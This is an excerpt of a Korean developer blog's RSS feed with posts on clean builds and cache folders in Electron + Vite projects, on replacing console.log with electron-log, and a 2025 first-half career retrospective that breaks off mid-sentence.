            <link>https://velog.io/@songyeonji_/%EB%B9%8C%EB%93%9C-%EC%A0%84%EC%97%90-%EA%BC%AD-%ED%95%84%EC%9A%94%ED%95%9C-%EB%8C%80%EC%B2%AD%EC%86%8C-%ED%81%B4%EB%A6%B0-%EB%B9%8C%EB%93%9CClean-Build%EC%99%80-%EC%BA%90%EC%8B%9CCache-%EC%9D%B4%EC%95%BC%EA%B8%B0</link>
            <guid>https://velog.io/@songyeonji_/%EB%B9%8C%EB%93%9C-%EC%A0%84%EC%97%90-%EA%BC%AD-%ED%95%84%EC%9A%94%ED%95%9C-%EB%8C%80%EC%B2%AD%EC%86%8C-%ED%81%B4%EB%A6%B0-%EB%B9%8C%EB%93%9CClean-Build%EC%99%80-%EC%BA%90%EC%8B%9CCache-%EC%9D%B4%EC%95%BC%EA%B8%B0</guid>
            <pubDate>Wed, 13 Aug 2025 11:36:17 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/songyeonji_/post/b406c7ed-4163-4114-afff-e705662fe7dd/image.png" alt=""></p>
<p>Electron + Vite로 개발하면서 VM 환경에서 패키징을 하다 보면,</p>
<p>“같은 코드, 같은 설정인데 엔진이 안 열린다”는 이상한 상황을 겪는 경우가 있습니다.</p>
<p>처음에는 단순한 VM(가상머신) 속도 문제겠거니 하고 넘어갔지만,</p>
<p>문제는 하루이틀이 아니라 빌드할 때마다 가끔 꼭 나타난다는 점이었죠.</p>
<p>더 이상한 건, 아무것도 바꾸지 않고 <strong>다시 빌드하면 또 잘 된다</strong>는 것이었습니다.</p>
<p>이쯤 되면 운이 좋은 건지, 빌드가 장난을 치는 건지 알 수 없었습니다.</p>
<hr>
<h2 id="💡-빌드-산출물과-캐시의-숨겨진-함정">💡 빌드 산출물과 캐시의 숨겨진 함정</h2>
<p>빌드를 하면 <code>dist/</code>, <code>release/</code>, <code>build/</code> 같은 폴더에 실행 파일과 번들된 JS가 생성됩니다.</p>
<p>이게 바로 <strong>빌드 산출물</strong>입니다.</p>
<p>문제는 이 폴더에 남아 있는 예전 파일이 다음 빌드에 그대로 섞여 들어갈 수 있다는 점입니다.</p>
<p>여기에 <strong>캐시(Cache)</strong>까지 더해집니다.</p>
<p>Vite, Webpack, Next.js 등 빌드 도구들은 빌드를 빠르게 하기 위해 캐시를 사용합니다.</p>
<p>변경이 없는 파일은 다시 처리하지 않고 재활용하죠.</p>
<p>하지만 가끔 변경 감지를 놓치면, 오래된 결과물이 그대로 살아남아 버립니다.</p>
<blockquote>
<p>캐시는 빌드 속도를 높이는 ‘부스터’이지만, 잘못 쓰이면 발목을 잡는 ‘지뢰’가 되기도 합니다.</p>
</blockquote>
<hr>
<h2 id="🗂-빌드-도구별로-지워야-할-폴더">🗂 빌드 도구별로 지워야 할 폴더</h2>
<p>프로젝트마다 지워야 할 폴더가 다릅니다.</p>
<p>아래 표는 대표적인 빌드 환경에서 청소해야 할 캐시와 빌드 산출물 폴더입니다.</p>
<table>
<thead>
<tr>
<th>빌드/프레임워크</th>
<th>캐시 폴더</th>
<th>빌드 산출물 폴더</th>
</tr>
</thead>
<tbody><tr>
<td><strong>Vite</strong></td>
<td><code>.vite</code></td>
<td><code>dist/</code></td>
</tr>
<tr>
<td><strong>Webpack</strong></td>
<td><code>.webpack-cache</code></td>
<td><code>dist/</code></td>
</tr>
<tr>
<td><strong>Next.js</strong></td>
<td><code>.next</code></td>
<td><code>.next</code></td>
</tr>
<tr>
<td><strong>CRA</strong></td>
<td><code>node_modules/.cache</code></td>
<td><code>build/</code></td>
</tr>
<tr>
<td><strong>Electron</strong></td>
<td>없음(기본)</td>
<td><code>dist/</code>, <code>release/</code></td>
</tr>
<tr>
<td><strong>Node.js</strong></td>
<td><code>node_modules/.cache</code></td>
<td>없음</td>
</tr>
</tbody></table>
<hr>
<h2 id="🧹-클린-빌드의-발견">🧹 클린 빌드의 발견</h2>
<p>이때부터 “클린 빌드(Clean Build)”라는 개념을 깊이 들여다봤습니다.</p>
<p>클린 빌드는 <strong>이전 빌드 산출물과 캐시를 완전히 지우고, 깨끗한 상태에서 새로 빌드하는 과정</strong>입니다.</p>
<p>문제의 근본 원인은 단순했습니다.</p>
<p>이전 빌드의 잔여 파일과 캐시가 새 빌드에 섞여 들어가면서</p>
<p>파일 누락, 변경 미반영 같은 기이한 현상을 만든 것이었습니다.</p>
<hr>
<h2 id="🛠-클린-빌드-실행-방법">🛠 클린 빌드 실행 방법</h2>
<p><strong>수동 삭제</strong></p>
<pre><code class="language-bash"># macOS / Linux
rm -rf dist release out build .vite .webpack-cache node_modules/.cache</code></pre>
<pre><code class="language-powershell"># Windows PowerShell
rd /s /q dist release out build .vite .webpack-cache node_modules\.cache</code></pre>
<p><strong>npm 스크립트 자동화</strong></p>
<pre><code class="language-json">&quot;scripts&quot;: {
  &quot;clean&quot;: &quot;rimraf dist release out build .vite .webpack-cache node_modules/.cache&quot;,
  &quot;build&quot;: &quot;npm run clean &amp;&amp; electron-builder&quot;
}
</code></pre>
<blockquote>
<p>rimraf 설치:</p>
<pre><code>npm i rimraf --save-dev
</code></pre></blockquote>
<hr>
<h2 id="📦-electron--엔진-exe-포함-시-주의할-점">📦 Electron + 엔진 exe 포함 시 주의할 점</h2>
<p>Electron 앱에서 엔진 실행 파일을 같이 배포하려면,</p>
<p><code>electron-builder</code>의 <code>extraResources</code>에 정확한 경로를 지정해야 합니다.</p>
<pre><code class="language-json">
&quot;build&quot;: {
  &quot;asar&quot;: true,
  &quot;asarUnpack&quot;: [],
  &quot;extraResources&quot;: [
    { &quot;from&quot;: &quot;electron/engine/bin/seph_engine.exe&quot;, &quot;to&quot;: &quot;public/seph_engine.exe&quot; }
  ],
  &quot;files&quot;: [
    &quot;dist/**&quot;,
    &quot;electron/**&quot;,
    &quot;!**/*.map&quot;
  ]
}
</code></pre>
<p>경로를 명확히 해주면 패키징 시 엔진 파일 누락을 방지할 수 있습니다.</p>
<hr>
<h2 id="🔄-cicd-환경에서의-클린-빌드">🔄 CI/CD 환경에서의 클린 빌드</h2>
<p>GitHub Actions, Jenkins, GitLab CI 같은 CI/CD 서버는 매번 깨끗한 환경에서 빌드하지만,</p>
<p>빌드 속도를 높이려고 캐시를 켜면 이 문제가 다시 생길 수 있습니다.</p>
<p><strong>GitHub Actions 예시</strong></p>
<pre><code class="language-yaml">
steps:
  - name: Clean build
    run: rm -rf dist release .vite .webpack-cache node_modules/.cache
  - name: Install dependencies
    run: npm ci
  - name: Build
    run: npm run build
</code></pre>
<hr>
<h2 id="⚠️-vm-환경에서-자주-발생하는-변수">⚠️ VM 환경에서 자주 발생하는 변수</h2>
<ul>
<li><strong>I/O 속도 지연</strong> → 파일 복사나 압축이 중간에 누락될 수 있음</li>
<li><strong>스냅샷 복원</strong> → 예전 빌드 결과물이 그대로 복귀</li>
<li><strong>시간 동기화 문제</strong> → 설치기가 파일 변경을 인식 못 함</li>
<li><strong>백신 간섭</strong> → 실행 파일을 격리 또는 삭제</li>
</ul>
<hr>
<h2 id="🛡-엔진-실행-전-점검-코드">🛡 엔진 실행 전 점검 코드</h2>
<pre><code class="language-tsx">
import fs from &#39;fs&#39;;
import path from &#39;path&#39;;
import { spawn } from &#39;child_process&#39;;

const enginePath = path.join(process.resourcesPath, &#39;app.asar.unpacked&#39;, &#39;public&#39;, &#39;seph_engine.exe&#39;);

function fileExists(p: string) {
  try { return fs.existsSync(p); } catch { return false; }
}

export function startEngine() {
  if (!fileExists(enginePath)) {
    throw new Error(`[Engine Missing] ${enginePath}`);
  }

  const proc = spawn(enginePath, [], { detached: true });
  proc.on(&#39;error&#39;, (err) =&gt; {
    console.error(&#39;[Engine Spawn Error]&#39;, err);
  });
}
</code></pre>
<hr>
<h2 id="✅-빌드-실패-원인-체크리스트">✅ 빌드 실패 원인 체크리스트</h2>
<ul>
<li>이전 빌드 결과물을 삭제했는가?</li>
<li>캐시 폴더를 비웠는가?</li>
<li>앱 버전을 올렸는가?</li>
<li>엔진 exe 경로가 정확한가?</li>
<li>실행 권한이 있는가?</li>
<li>백신에서 차단하지 않았는가?</li>
</ul>
<hr>
<h2 id="📍-마무리">📍 마무리</h2>
<p>클린 빌드는 특정 빌드 도구 전용 기능이 아니라, <strong>모든 개발 환경에서 통하는 안전장치</strong>입니다.</p>
<p>캐시는 빌드 시간을 단축시키는 좋은 도구지만, 잘못 쓰이면 발목을 잡는 주범이 되죠.</p>
<p>특히 VM 환경에서는</p>
<p><strong>클린 빌드 + 버전 증가 + 경로 고정</strong></p>
<p>이 세 가지가 빌드 안정성의 핵심입니다.</p>
<p>저도 예전에는 “안 되면 한 번 더 빌드하지 뭐”라고 생각했지만,</p>
<p>이제는 <strong>처음부터 깨끗하게 빌드해서 한 번에 성공하는 습관</strong>을 들였습니다.</p>
<blockquote>
<p>빌드 환경도 집처럼, 주기적인 대청소가 필요합니다.</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[🌱 함정씨앗: console.log가 Electron 프로젝트를 망치는 순간]]></title>
            <link>https://velog.io/@songyeonji_/%EB%A1%9C%EA%B7%B8-%EC%A0%84%EB%9E%B5-%EB%A6%AC%EB%B9%8C%EB%93%9C-Electron-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8%EC%97%90%EC%84%9C-console.log%EB%8A%94-%EC%A7%80%EC%9A%B0%EA%B3%A0-electron-log%EB%8A%94-%EB%82%A8%EA%B8%B0%EB%8A%94-%EC%9D%B4%EC%9C%A0</link>
            <guid>https://velog.io/@songyeonji_/%EB%A1%9C%EA%B7%B8-%EC%A0%84%EB%9E%B5-%EB%A6%AC%EB%B9%8C%EB%93%9C-Electron-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8%EC%97%90%EC%84%9C-console.log%EB%8A%94-%EC%A7%80%EC%9A%B0%EA%B3%A0-electron-log%EB%8A%94-%EB%82%A8%EA%B8%B0%EB%8A%94-%EC%9D%B4%EC%9C%A0</guid>
            <pubDate>Thu, 31 Jul 2025 13:20:38 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/songyeonji_/post/11ba8397-f3f1-401a-a44d-6a2f0952f092/image.png" alt=""></p>
<p>프론트엔드 개발자라면 누구나 한 번쯤 <code>console.log(&quot;확인&quot;)</code>을 찍어본 경험이 있을 겁니다. 저도 그랬습니다.</p>
<p>디버깅의 든든한 친구, 언제 어디서나 호출하면 나타나는 log 친구.</p>
<p>하지만 Electron 프로젝트에선 이 친구가 <strong>성능 병목의 주범</strong>이 될 수도 있습니다.</p>
<h3 id="💻-electron-환경의-로그-왜-특별한가요">💻 Electron 환경의 로그, 왜 특별한가요?</h3>
<p>Electron은 두 개의 프로세스로 구성됩니다:</p>
<table>
<thead>
<tr>
<th>구성</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td>Renderer Process</td>
<td>React가 돌아가는 브라우저 환경 (Chromium 기반)</td>
</tr>
<tr>
<td>Main Process</td>
<td>Node.js 기반 백그라운드 (Electron 엔진)</td>
</tr>
</tbody></table>
<h4 id="✅-문제는-여기서-시작됩니다">✅ 문제는 여기서 시작됩니다</h4>
<p>이 둘은 로그를 찍는 방식도, 로그가 시스템에 미치는 영향도 다릅니다.</p>
<ul>
<li><strong>Renderer 로그 (<code>console.log</code>)</strong><ul>
<li>브라우저 콘솔처럼 작동</li>
<li>많이 찍히면 렌더링 지연, 메모리 누수 가능</li>
<li>개발자 도구를 통해 사용자가 직접 볼 수 있음</li>
<li>무한 루프나 interval 로그가 많을 경우 UI에 영향</li>
</ul>
</li>
<li><strong>Main 로그 (<code>console.log</code>)</strong><ul>
<li>Node.js의 <code>stdout</code>으로 출력</li>
<li>로그가 많아지면 <strong>디스크 IO 병목</strong>, <strong>프로세스 지연</strong>, <strong>리소스 누수</strong> 가능</li>
<li>특히 보안 솔루션이나 데몬처럼 작동하는 앱일수록, <strong>안정성이 중요</strong></li>
</ul>
</li>
</ul>
<p>결국, 단순히 “로그 좀 많네” 수준이 아니라 <strong>시스템 성능 저하, 사용자 불편, 심지어 보안 이슈</strong>로도 이어질 수 있는 구조입니다.</p>
<hr>
<h3 id="🚨-실전에서-겪은-문제">🚨 실전에서 겪은 문제</h3>
<p>제가 참여한 보안 솔루션 기반 Electron 프로젝트에서는 다음과 같은 로그들이 지속적으로 발생했습니다:</p>
<ul>
<li>Named Pipe 통신 로깅</li>
<li>시스템 정보 수집 로그</li>
<li>JSON 저장/파싱 로깅</li>
<li>보안 상태 체크 및 사용자 행동 로그</li>
</ul>
<p>초당 수십 개의 로그가 찍히다 보니:</p>
<ul>
<li>렌더러 메모리가 <strong>지속적으로 증가</strong>하거나</li>
<li>CPU 사용량이 <strong>6~8% 이상 고정</strong>되거나</li>
<li>통신이 <strong>비동기적으로 지연</strong>되거나</li>
<li><strong>개발자 도구를 비활성화</strong>했음에도 <strong>내부 자원 누수 발생</strong></li>
</ul>
<p>이런 증상이 실제로 있었습니다.</p>
<hr>
<h3 id="😅-안일했던-생각-어차피-배포용은-devtool-막았잖아">😅 안일했던 생각: &quot;어차피 배포용은 devtool 막았잖아?&quot;</h3>
<p>Electron에선 개발자 도구를 막을 수 있으니, log가 사용자에게 노출되지 않는다고 생각했습니다.</p>
<p>그래서 <strong>귀찮아서</strong> 수백 줄의 console.log를 안 지웠습니다. 😔</p>
<p>하지만…</p>
<pre><code class="language-tsx">console.log(&quot;✅ 요청 성공&quot;, response);
console.log(&quot;📍 현재 상태&quot;, status);
console.log(&quot;🚨 예외 발생&quot;, error)</code></pre>
<p>이런 로그가 계속 쌓이면, <strong>렌더링 지연</strong>, <strong>메모리 누수</strong>, <strong>디스크 I/O 부하</strong>로 이어지는 걸 실제로 경험했습니다.</p>
<hr>
<h3 id="🦸-구원자-등장--vite-plugin-remove-console">🦸 구원자 등장 — <code>vite-plugin-remove-console</code></h3>
<p>수동으로 일일이 삭제하는 건 너무 비효율적이었고, 구글링 도중 발견한 라이브러리가 바로 이 구원자입니다.</p>
<h4 id="📦-설치-및-설정">📦 설치 및 설정</h4>
<pre><code class="language-bash">npm i vite-plugin-remove-console -D</code></pre>
<pre><code class="language-tsx">// vite.config.ts
import removeConsole from &#39;vite-plugin-remove-console&#39;;

export default defineConfig({
  plugins: [
    react(),
    removeConsole({
      include: [&#39;**/*.ts&#39;, &#39;**/*.tsx&#39;],
    }),
  ],
});</code></pre>
<h4 id="✅-효과">✅ 효과</h4>
<ul>
<li><code>console.log</code>, <code>console.debug</code>, <code>console.info</code> → 빌드시 자동 제거</li>
<li>개발 모드에서는 기존 코드 그대로 유지</li>
<li>실수로 배포에 디버깅 로그가 포함될 위험 방지</li>
<li>Renderer 성능 저하 예방 (특히 많은 로그를 찍는 페이지에서 효과 큼)</li>
</ul>
<h4 id="-관련-라이브러리-비교">+ 관련 라이브러리 비교</h4>
<table>
<thead>
<tr>
<th>라이브러리</th>
<th>용도</th>
<th>특징</th>
</tr>
</thead>
<tbody><tr>
<td><code>vite-plugin-remove-console</code></td>
<td>개발 로그 제거</td>
<td>빌드 시 log/debug/info 자동 제거</td>
</tr>
<tr>
<td><code>electron-log</code></td>
<td>운영 로그 기록</td>
<td>메인 프로세스 로그 파일 저장</td>
</tr>
<tr>
<td><code>winston</code></td>
<td>고급 로거</td>
<td>다양한 레벨 관리, 파일/콘솔 출력 병행 가능</td>
</tr>
<tr>
<td><code>pino</code></td>
<td>초고속 로거</td>
<td>대규모 트래픽 환경에 적합, Electron과는 덜 어울림</td>
</tr>
</tbody></table>
<hr>
<h3 id="✅-하지만-로그는-필요합니다--electron-log">✅ 하지만 로그는 필요합니다 — <code>electron-log</code></h3>
<p>Renderer에서는 <code>console.log</code>를 지우지만, <strong>Main Process에서는 로그를 반드시 남겨야 합니다.</strong></p>
<p>왜냐고요? Electron 앱의 핵심 기능은 대부분 Main에서 처리되기 때문입니다.</p>
<p>제가 맡은 프로젝트만 해도:</p>
<ul>
<li>Named Pipe를 통한 <strong>보안 엔진 통신</strong></li>
<li>시스템 정보를 수집하고 상태를 기록하는 <strong>모니터링 루프</strong></li>
<li>정책 초기화, 설정 로딩, 사용자 상태 갱신 등</li>
</ul>
<p><strong>모든 주요 흐름은 Main에서 일어납니다.</strong></p>
<p>이때 오류가 발생하거나 예상치 못한 상황이 생기면 반드시 로그가 남아 있어야 디버깅이 가능하죠.</p>
<p>그래서 저는 Main에서는 <code>console.log</code> 대신 <code>electron-log</code>를 사용하고 있습니다.</p>
<h4 id="💾-electron-log-기본-사용법">💾 electron-log 기본 사용법</h4>
<pre><code class="language-tsx">
// main.ts
import log from &#39;electron-log&#39;;

log.info(&quot;📡 엔진 초기화 시작&quot;);
log.warn(&quot;⚠️ 중요한 설정 누락됨&quot;);
log.error(&quot;❌ 오류 발생&quot;, error);</code></pre>
<h4 id="🔍-main-로그를-electron-log로-남기는-이유">🔍 Main 로그를 <code>electron-log</code>로 남기는 이유~!</h4>
<table>
<thead>
<tr>
<th>이유</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td>시스템 이벤트 추적</td>
<td>사용자가 클릭하지 않아도 자동 동작하는 기능들(정책, 백그라운드 엔진 등)을 기록해야 함</td>
</tr>
<tr>
<td>성능 최적화</td>
<td><code>console.log</code>보다 IO 안정성 높고, 텍스트 파일로 저장되니 개발자 도구 의존도 없음</td>
</tr>
<tr>
<td>운영 로그 수집</td>
<td>사용자 컴퓨터에서 수집하여 고객 지원, 장애 분석에 활용 가능</td>
</tr>
<tr>
<td>보안성</td>
<td>텍스트 파일로 저장되며, 콘솔에 노출되지 않아 사용자에게도 안전</td>
</tr>
</tbody></table>
<h4 id="📂-로그-경로는-여기에-파일로-저장됩니다">📂 로그 경로는 여기에 파일로 저장됩니다.</h4>
<table>
<thead>
<tr>
<th>OS</th>
<th>경로</th>
</tr>
</thead>
<tbody><tr>
<td>Windows</td>
<td><code>C:\Users\USERNAME\AppData\Roaming\YourAppName\log.txt</code></td>
</tr>
<tr>
<td>macOS</td>
<td><code>~/Library/Logs/YourAppName/log.txt</code></td>
</tr>
</tbody></table>
<hr>
<h3 id="🆚-로그-전략-비교-요약">🆚 로그 전략 비교 요약</h3>
<table>
<thead>
<tr>
<th>항목</th>
<th><code>console.log</code></th>
<th><code>electron-log</code></th>
</tr>
</thead>
<tbody><tr>
<td>대상</td>
<td>개발용 디버깅</td>
<td>운영 상태 기록</td>
</tr>
<tr>
<td>제거 가능 여부</td>
<td>✅ vite-plugin으로 제거 가능</td>
<td>❌ 직접 코드에서 관리</td>
</tr>
<tr>
<td>출력 위치</td>
<td>브라우저 콘솔 / 터미널</td>
<td>로컬 로그 파일</td>
</tr>
<tr>
<td>성능 영향</td>
<td>많을 경우 메모리/CPU 증가</td>
<td>상대적으로 안정적</td>
</tr>
<tr>
<td>사용자 노출 가능성</td>
<td>있음 (devtool 등)</td>
<td>없음 (로컬 전용)</td>
</tr>
</tbody></table>
<h3 id="🏁-결론-로그도-설계-대상입니다">🏁 결론: 로그도 설계 대상입니다</h3>
<p>console.log는 디버깅에 아주 유용하지만, Electron처럼 <strong>리소스와 I/O</strong>에 민감한 환경에서는 <strong>설계 대상</strong>이 됩니다.</p>
<p>🧠 로그를 지우는 것이 중요한 게 아니라,</p>
<p><strong>&quot;어떤 로그를 언제, 어디에, 어떻게 남길 것인가&quot;</strong> 가 중요합니다.</p>
<hr>
<h3 id="💬-마무리하며">💬 마무리하며</h3>
<p>Electron 기반 앱에서의 로그는 단순한 <code>디버깅 도구</code>가 아니라,</p>
<p><strong>운영 효율성과 사용자 경험을 좌우하는 요소</strong>가 됩니다.</p>
<p>지우지 않아도 되는 콘솔 로그?</p>
<p>어쩌면, 그게 병목의 시작일 수 있습니다.</p>
<p>저처럼 <code>&quot;귀찮아서 로그 안 지웠던 그때&quot;</code>의 저를 반성하며…</p>
<p>지금은 자동화된 안전한 로그 전략으로 한층 더 성장한 기분입니다.</p>
<hr>
]]></description>
        </item>
        <item>
            <title><![CDATA[🐰2025 상반기 회고록]]></title>
            <link>https://velog.io/@songyeonji_/2025-%EC%83%81%EB%B0%98%EA%B8%B0-%ED%9A%8C%EA%B3%A0%EB%A1%9D</link>
            <guid>https://velog.io/@songyeonji_/2025-%EC%83%81%EB%B0%98%EA%B8%B0-%ED%9A%8C%EA%B3%A0%EB%A1%9D</guid>
            <pubDate>Fri, 18 Jul 2025 13:29:25 GMT</pubDate>
            <description><![CDATA[<p>안녕하세요! 프론트엔드 개발자 연지입니다.</p>
<p>정신없이 달리다 보니 벌써 2025년 반이 지나갔네요.</p>
<p>지난 6개월은 정말 <strong>제 커리어에서 다이내믹</strong>하고 <strong>가장 진심이 담긴 시기</strong>였어요.</p>
<ul>
<li><p>처음으로 <strong>프로젝트를 리딩</strong>했고,</p>
</li>
<li><p>처음으로 <strong>데스크탑 앱을 만들었고</strong>,</p>
</li>
<li><p>처음으로 <strong>스스로 부족함을 느끼며 공부하고 기록</strong>했죠.</p>
</li>
</ul>
<p>그럼, 진심 가득 담아 제 상반기 회고를 써 내려가 볼게요.</p>
<hr>
<h2 id="🧶-1월--생각하는-개발자로-다시-태어난-순간들">🧶 1월 — &quot;생각하는 개발자&quot;로 다시 태어난 순간들</h2>
<p>작년 11월 중순, 저는 첫 개발 회사를 퇴사를 선택했습니다.</p>
<p>뭔가 막연한 두려움도 있었고,</p>
<p>“앞으로 뭘 하지?” 하는 허탈함도 있었지만, 마음 한구석에선 뚜렷한 갈망이 있었습니다.</p>
<blockquote>
<p>“제대로, 성장하고 싶다.”</p>
</blockquote>
<p>그렇게 시작한 게 <strong>코드잇 단기심화 6기</strong>였어요.</p>
<p>“단기”라는 말이 붙었지만, 그 6주는 제겐  <strong>커리어 전체를 재정비하는 6주</strong>였습니다.</p>
<hr>
<h3 id="fitmon-프로젝트--실력은-여기서-자라납니다">FitMon 프로젝트 — 실력은 여기서 자라납니다</h3>
<p>그 첫 시작은 팀 프로젝트 <strong>FitMon</strong>이었습니다.</p>
<p>“운동 + 모임 + 일정관리”를 연결하는 헬스케어 웹앱이었고,</p>
<p>그런데 단순히 구현만 하는 게 아니라,</p>
<p>진짜 <strong>전반적인 프론트 구조를 갈아엎는 경험</strong>을 했어요.</p>
<ul>
<li>역할 기반 → 기능 기반 폴더 구조 전환</li>
<li>API 응답 객체 기준 설계</li>
<li>UX 흐름을 고려한 폼 컴포넌트 재사용</li>
<li>Lighthouse 퍼포먼스 최적화</li>
<li>eslint/prettier 통일</li>
<li>테스트 코드 작성</li>
</ul>
<p>그리고 무엇보다 처음으로 <strong>멘토링을 받았습니다.</strong></p>
<p>멘토님의 피드백은 솔직히 말하면... <strong>좀 무섭기도 했어요.</strong></p>
<p>“이런 구조는 유지보수가 어렵겠죠?”,</p>
<p>“이 부분, 왜 이렇게 작성했는지 설명해보세요.”</p>
<p>그런데 그 무서움 속에서 제가 진짜 성장하고 있다는 걸 느낄 수 있었어요.</p>
<hr>
<h3 id="질문이-두려웠지만-성장하고-있었다">&#39;질문이 두려웠지만, 성장하고 있었다&#39;</h3>
<p>처음엔 질문하는 것도 어려웠습니다.</p>
<p>&quot;이거 너무 기본적인 질문 아닌가?&quot;</p>
<p>&quot;내가 왜 이걸 모르지?&quot;</p>
<p>이런 생각이 수시로 들었거든요.</p>
<p>그런데 용기 내서 질문하고,</p>
<p>피드백을 기록하고 적용하는 걸 반복하다 보니</p>
<p><strong>정말 시야가 넓어졌습니다.</strong></p>
<p><strong>“기능 구현을 넘어, 생각하는 개발자가 되어간다.”</strong></p>
<p>이걸 처음으로 체감한 순간들이었어요.</p>
<hr>
<h3 id="그리고-시간은-남고-리팩토링은-시작되었다">그리고... 시간은 남고, 리팩토링은 시작되었다</h3>
<p>사실 저희 프로젝트는 <strong>꽤 일찍 완성됐습니다.</strong></p>
<p>그래서 남은 기간엔 오롯이 <strong>리팩토링과 구조 개선</strong>에 집중할 수 있었어요.</p>
<p>코드의 응집도를 높이고,</p>
<p>비즈니스 로직과 UI 분리를 연습하고,</p>
<p>컴포넌트 재사용과 분리 기준도 고민했죠.</p>
<p>또한</p>
<p><strong>정말 좋은 동료 개발자 친구들</strong>을 만난 것도 큰 수확이었습니다.</p>
<p>서로 코드리뷰하고, 에러 공유하고,</p>
<p>밤 늦게까지 디버깅하며 생긴 유대감은 아직도 기억에 남아요.</p>
<blockquote>
<p>이때의 회고는 여기 👉</p>
<p><a href="https://velog.io/@songyeonji_/FitMon-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%EB%B0%8F-%EC%BD%94%EB%93%9C%EC%9E%87-%EB%8B%A8%EA%B8%B0-%EC%8B%AC%ED%99%94-6%EA%B8%B0-%ED%95%99%EC%8A%B5-%ED%9A%8C%EA%B3%A0%EB%A1%9D">FitMon 프로젝트 및 코드잇 단기심화 회고</a></p>
</blockquote>
<hr>
<h2 id="🚀-2월--발표-입사-해커톤-진짜-미쳤던-한-달">🚀 2월 — 발표, 입사, 해커톤, 진짜 미쳤던 한 달</h2>
<p>1월의 고요하고 밀도 높은 성장기가 끝나자,</p>
<p>2월은 정말 말 그대로 <strong>폭풍처럼 몰아쳤습니다.</strong></p>
<h3 id="fitmon-발표--준비는-마쳤고-자랑할-시간">FitMon 발표 — 준비는 마쳤고, 자랑할 시간</h3>
<p>2월 초엔 FitMon 프로젝트의 발표와 정리 과정을 마무리했습니다.</p>
<p>그동안 정리한 구조와 코드, 성능 최적화 포인트들을</p>
<p>발표 자료로 만들고 정리하면서</p>
<p>“아, 이 프로젝트는 정말 자랑할 수 있겠다”는 자신감이 생겼어요.</p>
<p>프로젝트를 남에게 설명할 수 있다는 건</p>
<p>그걸 충분히 이해했다는 뜻이잖아요?</p>
<p>그게 제겐 <strong>작지만 확실한 자존감 회복</strong>이었어요.</p>
<hr>
<h3 id="2월-17일-첫-출근--이제부터는-진짜-실전이다">2월 17일, 첫 출근 — 이제부터는 진짜 실전이다</h3>
<p>그리고 드디어 2월 17일,</p>
<p><strong>보안 솔루션 회사에 첫 출근</strong>을 했습니다.</p>
<p>사실 입사 전까지만 해도</p>
<p>“내가 괜찮은 회사에 가는 게 맞을까?”</p>
<p>“기술적으로 도태되진 않았을까?”</p>
<p>이런 고민들이 있었지만,</p>
<p>첫 출근날 느꼈어요.</p>
<p><strong>“아, 여기서도 나는 계속 배울 수 있겠구나.”</strong></p>
<p>Electron 기반의 프로젝트,</p>
<p>보안 도메인이라는 낯선 분야,</p>
<p>내가 해보지 않은 구조들…</p>
<p>“할 게 너무 많다 = 재밌겠다.”</p>
<p>그게 제 첫 느낌이었습니다.</p>
<hr>
<h3 id="그런데-동시에-엘리스-해커톤도-붙어버렸다">그런데 동시에... 엘리스 해커톤도 붙어버렸다</h3>
<p>네… 맞아요…</p>
<p>이 타이밍에 <strong>엘리스 AI Spark Camp 해커톤</strong>도 붙어버렸습니다 😅</p>
<p>주제는 생성형 AI였고,</p>
<p>제가 제안한 아이디어인</p>
<p><strong>“블로그 URL만 넣으면 영상 자동 생성”</strong>이 채택됐습니다.</p>
<p>그래서 퇴근하고 밤 11시까지는</p>
<p><strong>AI 프로젝트를 개발</strong>,</p>
<p>주말엔 <strong>팀 회의와 테스트</strong>,</p>
<p>출근하면 <strong>보안 솔루션 개발</strong>…</p>
<p><strong>숨 쉴 틈이 없었습니다.</strong></p>
<p>그런데 이상하죠?</p>
<p>힘든데도 불구하고,</p>
<p>정말 너무 재밌었습니다.</p>
<hr>
<h3 id="최우수상-그리고-자동화의-맛">최우수상, 그리고 자동화의 맛</h3>
<p>그 프로젝트에서</p>
<p>저는 처음으로 Vercel, GitHub Actions를 연동해서</p>
<p><strong>자동화 배포</strong>를 경험했고,</p>
<p>프롬프트 기반 영상 API 설계에도 참여하면서</p>
<p>AI와 프론트의 만남을 직접 체험할 수 있었습니다.</p>
<p>리팩토링을 못 한 건 아쉽지만,</p>
<p>그래도 <strong>최우수상</strong>이라는 결과로 마무리되면서</p>
<p>“이 미친 일정, 정말 보람 있었구나” 싶었어요.</p>
<blockquote>
<p>AI Spark Camp 해커톤 회고 보기
<a href="https://velog.io/@songyeonji_/%EC%97%98%EB%A6%AC%EC%8A%A4-AI-Spark-Camp-%ED%95%B4%EC%BB%A4%ED%86%A4-%ED%9A%8C%EA%B3%A0%EB%A1%9D">엘리스 AI-Spark-Camp 해커톤 회고록</a></p>
</blockquote>
<hr>
<h3 id="요약하면">요약하면…</h3>
<p>2월은 한 마디로 정리하면 이랬습니다.</p>
<blockquote>
<p>“정신은 없었지만, 진짜 내가 살아있다는 느낌이 났다.”</p>
</blockquote>
<p>코드잇에서 쌓은 자신감으로 현업에 뛰어들었고,</p>
<p>퇴근 후에는 창의성과 열정을 쏟아부었고,</p>
<p>그 와중에 좋은 동료와 멘토를 만나며 성장했습니다.</p>
<h2 id="💻-3월--electron-입문과-현실-기획-그리고-이게-진짜-개발자의-일인가요">💻 3월 — Electron 입문과 현실 기획, 그리고 “이게 진짜 개발자의 일인가요…?”</h2>
<p>3월은 제게 있어</p>
<p><strong>“이게 실무구나”를 처음으로 체감한 한 달</strong>이었습니다.</p>
<p>그 전 직장은 체계나 이런것들이 부족해서 몰랐거든요. 
이번 회사에서Electron 프로젝트에 본격 투입된 건 좋았는데,</p>
<p>그 안에서 제가 맡게 된 일은 단순한 기능 개발이 아니었어요.</p>
<hr>
<h3 id="nextjs-미지원-라우팅-직접-구성하세요">Next.js 미지원? 라우팅 직접 구성하세요~</h3>
<p>Electron을 처음 접했을 땐</p>
<p>“오 신기하다, 데스크탑 앱이야!” 하며 설렜지만</p>
<p>금방 현실이 저를 때렸습니다.</p>
<blockquote>
<p>“Electron은 Next.js 안 돼요.”</p>
</blockquote>
<p>😇 …?</p>
<p>라우팅 자동화도 없고,</p>
